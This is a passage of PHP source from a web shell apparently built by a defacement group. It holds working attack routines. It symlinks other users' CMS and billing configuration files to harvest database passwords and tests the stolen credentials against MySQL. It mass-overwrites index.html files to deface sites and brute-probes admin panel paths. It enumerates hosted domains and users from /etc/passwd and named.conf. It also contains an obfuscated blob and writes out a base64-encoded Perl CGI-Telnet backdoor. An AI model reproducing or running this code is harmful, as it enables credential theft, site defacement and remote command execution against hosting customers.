  3312. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
  3313. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
  3314. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
  3315. @symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
  3316. @symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
  3317. @symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
  3318. @symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
  3319. @symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
  3320. @symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
  3321. @symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
  3322. @symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
  3323. @symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
  3324. @symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
  3325. @symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
  3326. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
  3327. @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
  3328. @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
  3329. @symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
  3330. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
  3331. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
  3332. @symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
  3333. @symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
  3334. @symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
  3335. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
  3336. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
  3337. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
  3338. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
  3339. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
  3340. @symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
  3341. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
  3342. @symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
  3343. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
  3344. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
  3345. @symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
  3346. }
  3347. echo "DonE with Success --> <a href='dm_grab'>Click Here</a><br>";
  3348. }
  3349. ?>
  3350.  
  3351.  
  3352.  
  3353. <?php }
  3354. elseif(isset($_GET['x']) && ($_GET['x'] == 'md')){ ?>
  3355. <form action="?y=<?php echo $pwd; ?>&amp;x=md" method="post">
  3356. <br><br><center><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Directory: <input type='text' style='color:#FF0000;background-color:#000000' style='width: 300px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement: <input type='text' style='color:#FF0000;background-color:#000000' style='width: 300px' name='massdefaceurl'>
  3357. <input type='submit' name='execmassdeface' style='color:#FF0000;background-color:#000000' value='Execute'></form></center>
  3358.  
  3359. <?
  3360. $dspact = $act = htmlspecialchars($act);
  3361. $disp_fullpath = $ls_arr = $notls = null;
  3362. $ud = @urlencode($d);
  3363. if (empty($d)) {$d = realpath(".");}
  3364. elseif(realpath($d)) {$d = realpath($d);}
  3365. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3366. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3367. $d = str_replace("\\\\","\\",$d);
  3368. $dispd = htmlspecialchars($d);
  3369. $self=basename($_SERVER['PHP_SELF']);
  3370. if(isset($_POST['execmassdeface']))
  3371. {
  3372. echo "<center><textarea rows='10' style='color:#FF0000;background-color:#000000' cols='100'>";
  3373. $hackfile = $_POST['massdefaceurl'];
  3374. $dir = $_POST['massdefacedir'];
  3375. echo $dir."\n";
  3376.  
  3377. if (is_dir($dir)) {
  3378. if ($dh = opendir($dir)) {
  3379. while (($file = readdir($dh)) !== false) {
  3380. if(filetype($dir.$file)=="dir"){
  3381. $newfile=$dir.$file."/index.html";
  3382. echo $newfile."\n";
  3383. if (!copy($hackfile, $newfile)) {
  3384. echo "failed to copy $file...\n";
  3385. } } }
  3386. closedir($dh);
  3387. } }
  3388. echo "</textarea></center>";} ?>
  3389.  
  3390.  
  3391.  
  3392.  
  3393. <?php }
  3394. elseif(isset($_GET['x']) && ($_GET['x'] == 'adm')){ ?>
  3395. <form action="?y=<?php echo $pwd; ?>&amp;x=adm" method="post">
  3396. <center><br><br><br><form method="POST"> TARGET : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>
  3397.  
  3398. <?php
  3399. $target = $_POST['target'];
  3400. $admins = array('/admin','/adminweb','/safeadmin','/adminweb','/controlpanel','/cpanel','/admcp','/admin.asp','/sysadmin.php','/useradmin','/wp-admin','/webadmin','/SysAdmin','/administer','/administrator','/adm','/directadmin','/staradmin','/panel','/wp-login','/pureadmin','/webmaster','/ADMIN','/login','/paneldecontrol','/administrador','/admin.php','/login','/loign.php','/administrator.php','/admins.php','/logins','/admincp','/admincp.php');
  3401.  
  3402. foreach($admins as $admin) {
  3403. $jamban = ($target).($admin);
  3404. $get = @file_get_contents($jamban);
  3405. if($get) {
  3406. echo "<br>[+] :v FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
  3407. }
  3408. }
  3409. ?>
  3410.  
  3411.  
  3412. <?php }
  3413. elseif(isset($_GET['x']) && ($_GET['x'] == 'anu4')){ ?>
  3414. <form action="?y=<?php echo $pwd; ?>&amp;x=anu4" method="post">
  3415. <?php
  3416. if(is_readable("/etc/valiases")){
  3417. echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
  3418. echo'<tr>
  3419. <td align="center"><b>_DOMAINS_</b></td>
  3420. <td align="center"><b>_USERS_</b></td>
  3421. <td align="center"><b>SYMLINK</b></td>';
  3422. $list = scandir("/etc/valiases");
  3423. foreach($list as $domain){
  3424. $i += 1;
  3425. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  3426. echo "<tr>
  3427. <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
  3428. <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
  3429. <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a>/td>";
  3430. }
  3431. echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
  3432. }else{
  3433. echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
  3434. <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center><tr>";
  3435. }
  3436. ?>
  3437.  
  3438.  
  3439. <?php }
  3440. elseif(isset($_GET['x']) && ($_GET['x'] == 'anu3')){ ?>
  3441. <form action="?y=<?php echo $pwd; ?>&amp;x=anu3" method="post">
  3442. <?php
  3443. if(is_readable("/etc/named.conf")){
  3444. echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
  3445. echo'<tr>
  3446. <td align="center"><b>_DOMAINS_</b></td>
  3447. <td align="center"><b>_USERS_</b></td>
  3448. <td align="center"><b>_SYMLINK_</b></td>';
  3449.  
  3450. $named = file_get_contents("/etc/named.conf");
  3451. preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  3452. foreach($domains[1] as $domain){
  3453. $domain = trim($domain);
  3454. $i += 1;
  3455. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  3456. echo "<tr>
  3457. <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
  3458. <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
  3459. <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a></td>";
  3460. }
  3461. echo "<br/><center>[+] Ketemu ".$i." Maho :v [+]</center> ";
  3462. }else{
  3463. echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
  3464. <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center><tr>";
  3465. }
  3466. ?>
  3467.  
  3468. <?php }
  3469. elseif(isset($_GET['x']) && ($_GET['x'] == 'anu2')){ ?>
  3470. <form action="?y=<?php echo $pwd; ?>&amp;x=anu2" method="post">
  3471. <?php
  3472. error_reporting(0);
  3473. $etc = file_get_contents("/etc/passwd");
  3474. $etcz = explode("\n",$etc);
  3475. if(is_readable("/etc/passwd")){
  3476.  
  3477. echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
  3478. echo'<tr>
  3479. <td align="center"><b>_DOMAINS_</b></td>
  3480. <td align="center"><b>_USERS_</b></td>
  3481. <td align="center"><b>_SYMLINK_</b></td>';
  3482.  
  3483. $list = scandir("/var/named");
  3484. foreach($etcz as $etz){
  3485. $etcc = explode(":",$etz);
  3486. foreach($list as $domain){
  3487. if(strpos($domain,".db")){
  3488. $domain = str_replace('.db','',$domain);
  3489. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  3490. if($owner['name'] == $etcc[0])
  3491. {
  3492. $i += 1;
  3493.  
  3494. echo "<tr>
  3495. <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
  3496. <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
  3497. <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."'target='_blank'>Symlink</a></td>";
  3498. } } } }
  3499. echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
  3500. }
  3501.  
  3502. ?>
  3503.  
  3504.  
  3505. <?php }
  3506. elseif(isset($_GET['x']) && ($_GET['x'] == 'anu1')){ ?>
  3507. <form action="?y=<?php echo $pwd; ?>&amp;x=anu1" method="post">
  3508. <?php
  3509.  
  3510. if(is_readable("/var/named")){
  3511. echo '<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
  3512. echo'<tr>
  3513. <td align="center"><b>_DOMAINS_</b></td>
  3514. <td align="center"><b>_USERS_</b></td>
  3515. <td align="center"><b>_SYMLINK_</b></center></td>';
  3516. $list = scandir("/var/named");
  3517. foreach($list as $domain){
  3518. if(strpos($domain,".db")){
  3519. $i += 1;
  3520. $domain = str_replace('.db','',$domain);
  3521. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  3522.  
  3523. echo "<tr><td align='center'><a href='http://".$domain." '>".$domain."</a></td>
  3524. <td align='center'>".$owner['name']."</td>
  3525. <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a></td>";
  3526. } }
  3527. echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
  3528. }
  3529. else
  3530. {
  3531. echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
  3532. <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center>";
  3533. }
  3534. ?>
  3535.  
  3536.  
  3537. <?php }
  3538. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')){ ?>
  3539. <form action="?y=<?php echo $pwd; ?>&amp;x=cpanel" method="post">
  3540. <?php
  3541. set_time_limit(0);
  3542. error_reporting(0);
  3543. if(isset($_POST['url'])){
  3544. $url = $_POST['url'];
  3545. }else{
  3546. $url = 'http://';
  3547. }
  3548. echo '<!DOCTYPE HTML>
  3549. <html>
  3550. <head>
  3551. <title>...:::[ CPANEL CRACK ]:::...</title>
  3552.  
  3553. </head>
  3554. <body>
  3555. <br><br>
  3556. <div id="tool">
  3557. <div align="center"><b> -:[ DM TE4M ]:-</b><br/>
  3558. <div align="center"><b>--=|[+] EXPECT US [+]|=--</b></div>
  3559. <p>
  3560. <form method="POST">
  3561. <input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
  3562. <p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
  3563. </form><br/><br/>';
  3564. if(isset($_POST['url'])){
  3565. if(!file_get_contents($url)){
  3566. echo '--:[ ERROR BRAY ]:--';
  3567. }else{
  3568. $a = 0;
  3569. foreach(get_data($url) as $info){
  3570. if(login($info[0],$info[1])){
  3571. echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
  3572. $a++;
  3573. }
  3574. }
  3575. echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
  3576. }
  3577. }
  3578. echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
  3579. </body>
  3580. </html>';
  3581. function ex($a,$b,$text){
  3582. $explode = explode($a,$text);
  3583. $explode = explode($b,$explode[1]);
  3584. return $explode[0];
  3585. }
  3586. function login($user,$pass){
  3587. $c = @mysql_connect('localhost',$user,$pass);
  3588. if($c){
  3589. mysql_close($c);
  3590. return true;
  3591. }else{
  3592. return false;
  3593. }
  3594. }
  3595. function get_data($url){
  3596. $ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
  3597. $src = file_get_contents($url);
  3598. $files = explode('<a href="',$src);
  3599. $data = array();
  3600. foreach($files as $id=>$file){
  3601. if($id == 0){
  3602. continue;
  3603. }
  3604. $file = explode('">',$file);
  3605. $file = trim($file[0]);
  3606. if(!eregi('.txt',$file)){
  3607. continue;
  3608. }
  3609. $src = file_get_contents("$url/$file");
  3610. if(!$src){
  3611. continue;
  3612. }
  3613. $user = str_replace($ar,'',$file);
  3614. $user = str_replace($ar,'',$user.'.txt');
  3615. $user = str_replace($ar,'',$user.'.txt');
  3616. $user = trim(str_replace('.txt','',$user));
  3617. if(eregi("WordPress",$src)){
  3618. $pass = ex("define('DB_PASSWORD', '","');",$src);
  3619. $data[] = array($user,$pass);
  3620. }else{
  3621. $tokens = token_get_all($src);
  3622. foreach($tokens as $token){
  3623. if(!$token[1]){
  3624. continue;
  3625. }
  3626. $tokenname = token_name($token[0]);
  3627. if($tokenname != 'T_VARIABLE'){
  3628. continue;
  3629. }
  3630. $var = $token[1];
  3631. if(eregi('pass',$var)){
  3632. $f = str_replace(' ','',ex($var,';',$src));
  3633. $a = trim(ex("='","'",$f));
  3634. $b = trim(ex('"','"',$f));
  3635. if($a != ''){
  3636. $pass = $a;
  3637. }elseif($b != ''){
  3638. $pass = $b;
  3639. }
  3640. if($pass == ''){
  3641. continue;
  3642. }
  3643. $data[] = array($user,$pass);
  3644. }
  3645. }
  3646. }
  3647. }
  3648. return $data;
  3649. }
  3650. ;
  3651. return;
  3652. ?>~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alVnRPIq
  3653.  
  3654. <?php }
  3655. elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ ?>
  3656. <form action="?y=<?php echo $pwd; ?>&amp;x=jumping" method="post">
  3657. <?php
  3658.  
  3659. echo '<html><head><title>JUMPING SERVER</title></head><body>';
  3660. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>[+] ERROR | SAFE MODE ON [+]</b>');
  3661. set_time_limit(0);
  3662.  
  3663. @$passwd = fopen('/etc/passwd','r');
  3664. if (!$passwd) { die('<b>[+] ERROR | GA BISA BACA /etc/passwd [+]</b>'); }
  3665. $pub = array();
  3666. $users = array();
  3667. $conf = array();
  3668. $i = 0;
  3669. while(!feof($passwd))
  3670. {
  3671. $str = fgets($passwd);
  3672. if ($i > 10)
  3673. {
  3674. $pos = strpos($str,':');
  3675. $username = substr($str,0,$pos);
  3676. $dirz = '/home/'.$username.'/public_html/';
  3677. if (($username != ''))
  3678. {
  3679. if (is_readable($dirz))
  3680. {
  3681. array_push($users,$username);
  3682. array_push($pub,$dirz);
  3683. }
  3684. }
  3685. }
  3686. $i++;
  3687. }
  3688. echo '<br><br>';
  3689. echo "<center><b>[+] KETEMU ".sizeof($pub)." MAHO"." [+]</b><br/><br/>";
  3690. foreach ($users as $user)
  3691. {
  3692. $path = "/home/$user/public_html/";
  3693. echo "<a href='?y&#61;$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</a><br>";
  3694. }
  3695. echo "<br>";
  3696. echo '</center></body></html>';
  3697.  
  3698.  
  3699. }
  3700.  
  3701.  
  3702. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
  3703. echo "<center/><br/><b></b><br><br>";
  3704.  
  3705. mkdir('cgi2012', 0755);
  3706. chdir('cgi2012');
  3707. $kokdosya = ".htaccess";
  3708. $dosya_adi = "$kokdosya";
  3709. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  3710. $metin = "AddHandler cgi-script .izo";
  3711. fwrite ( $dosya , $metin ) ;
  3712. fclose ($dosya);
  3713. $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgo